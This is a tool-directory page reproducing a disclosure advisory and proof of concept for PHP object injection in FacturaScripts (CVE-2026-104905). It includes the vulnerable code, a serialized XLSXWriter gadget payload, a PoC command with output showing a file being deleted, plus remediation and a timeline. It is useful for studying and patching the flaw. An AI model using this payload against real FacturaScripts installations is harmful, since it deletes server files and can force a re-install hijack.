Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-104905-facturascripts-object-injection — PHP Object Injection -> Arbitrary File Deletion in FacturaScripts <= 2026.66 (CWE-502). PoC + advisory. | Kitploit
Tools/GitHubGitHub/wvllxe/cve-2026-104905-facturascripts-object-injection
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & Education
GitHubwvllxe/cve-2026-104905-facturascripts-object-injection

CVE-2026-104905-facturascripts-object-injection

PHP Object Injection -> Arbitrary File Deletion in FacturaScripts <= 2026.66 (CWE-502). PoC + advisory.

View Repository
17 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    897
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    853
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    668
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    448
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    417
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    400

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-104905 — PHP Object Injection in FacturaScripts WidgetSelect

Authorized security research. PoC for defensive and educational use only.

CVSS 3.1 CVSS 4.0 CWE-502 Status

An authenticated user who submits an edit form containing a multiple="true" select field can pass an attacker-crafted serialized string that FacturaScripts feeds directly to unserialize(). This yields PHP Object Injection and, via a bundled gadget (XLSXWriter::__destruct), deletion of arbitrary files on the server.

CVECVE-2026-104905
ProductFacturaScripts (open-source ERP / billing)
VendorCarlos García Gómez / NeoRazorX
Affected>= 2025.7, < 2026.7 (audited at commit 91f6512, 2026-09-22)
Fixed inv2026.7
VulnerabilityDeserialization of Untrusted Data (CWE-502) → Arbitrary File Deletion (CWE-73)
PrivilegesAuthenticated user with access to any EditController form
CVSS 3.18.1 HIGH — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
CVSS 4.06.1 MEDIUM — CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
Discovered byAlisher Qarshibayev
AdvisoryGHSA-p89j-gj6f-fh6g · coordinated by VulnCheck (CNA)

Affected Component

Core/Lib/Widget/WidgetSelect.php, lines 137–147 (sink at L144):

public function processFormData(&$model, $request)
{
    $value = $request->request->get($this->fieldname, '');

    if ('' === $value) {
        $model->{$this->fieldname} = null;
    } elseif ($this->multiple && false === $this->readonly()) {
        $model->{$this->fieldname} = implode(',', unserialize($value)); // L144: user-controlled -> unserialize()
    } else {
        $model->{$this->fieldname} = $value;
    }
}

Gadget — bundled dependency mk-j/php_xlsxwriter 0.39 (registered in the composer classmap):

// vendor/mk-j/php_xlsxwriter/xlsxwriter.class.php
public function __destruct() {
    if (!empty($this->temp_files)) {
        foreach ($this->temp_files as $temp_file) { @unlink($temp_file); }
    }
}

Root Cause & Data Flow

  • Source: HTTP POST body field named after a multiple="true" select widget. Core/Internal/SubRequest::get() returns the raw request value with no sanitisation.
  • Path: EditController form save → EditView::processFormData() iterates each widget → WidgetSelect::processFormData().
  • Sink: unserialize($value) at WidgetSelect.php:144.

For multiple-select fields a browser submits an array, which SubRequest::get() re-serialises; the code calls unserialize() to reverse that. But get() returns any scalar string verbatim, so an attacker submits the field as a single string containing a crafted serialized object instead of an array. unserialize() instantiates it with no allowed_classes restriction, triggering magic methods. The bundled XLSXWriter class is autoloadable and its __destruct() @unlink()s every entry of its attacker-set protected $temp_files array → arbitrary file deletion. The subsequent implode() TypeError is thrown after the object is constructed, so the destructor still fires during stack unwinding.

Proof of Concept

poc_object_injection.php invokes the unmodified shipped processFormData() with an attacker-controlled request against a local instance — equivalent to the authenticated HTTP POST described above.

Preconditions: (1) a valid authenticated session that can reach any EditController form; (2) that form contains a select widget declared multiple="true" (a documented, first-class column attribute of the shipped WidgetSelect).

# From a vulnerable FacturaScripts checkout (< 2026.7) with the PoC placed alongside its src/:
#   payload = O:10:"XLSXWriter":1:{s:13:"\0*\0temp_files";a:1:{i:0;s:LEN:"<abs path>";}}
php poc_object_injection.php "$PWD/evidence/CANARY_victim_config.txt"

Observed result (real output):

$ ls -l .../evidence/CANARY_victim_config.txt      # BEFORE
-rw-r--r-- 1 hunter cito 24 ... CANARY_victim_config.txt
[*] payload = O:10:"XLSXWriter":1:{s:13:"\000*\000temp_files";a:1:{i:0;s:73:".../CANARY_victim_config.txt";}}
PHP Fatal error: Uncaught TypeError: implode(): Argument #2 ... XLSXWriter given in .../WidgetSelect.php:144
$ ls -l .../evidence/CANARY_victim_config.txt      # AFTER
ls: cannot access '.../CANARY_victim_config.txt': No such file or directory

Control: submitting the field as a normal array ['a','b'] yields a,b and deletes nothing — confirming only the scalar-string → object path is dangerous. Reproduced 2×, deterministic. See evidence/poc_evidence.png and evidence/poc_run.log.

Impact

An authenticated attacker deletes arbitrary files at any path writable by the web-server user. Deleting config.php forces FacturaScripts back into its installer (denial of service / potential re-install hijack); deleting invoice attachments, backups or other tenants' MyFiles destroys business data. Object injection is also an integrity failure that could be escalated if any additional POP gadget enables file write or code execution. Scored for the confirmed file-deletion primitive only (C:N/I:H/A:H).

Remediation

Upgrade to FacturaScripts v2026.7 or later. The equivalent code-level fix:

// Do not unserialize request data. For multiple selects, read the array directly:
} elseif ($this->multiple && false === $this->readonly()) {
    $raw = $request->request->getArray($this->fieldname); // array, never unserialize()
    $model->{$this->fieldname} = implode(',', array_map('strval', $raw));
}

If a serialized form must be retained for backward compatibility, restrict it with unserialize($value, ['allowed_classes' => false]) so no objects can be instantiated.

Timeline

DateEvent
2026-09-23Discovered (local source audit + dynamic PoC)
2026-09-23Vendor notified / advisory prepared
2026-10-02CVE-2026-104905 reserved by VulnCheck
2026-10-05CVE record published
2026-10-06PoC published
—Fixed upstream in v2026.7 (GHSA-p89j-gj6f-fh6g)

Disclosure

Responsibly disclosed to the vendor and coordinated through VulnCheck. Published for defensive and educational purposes only.

Download Tool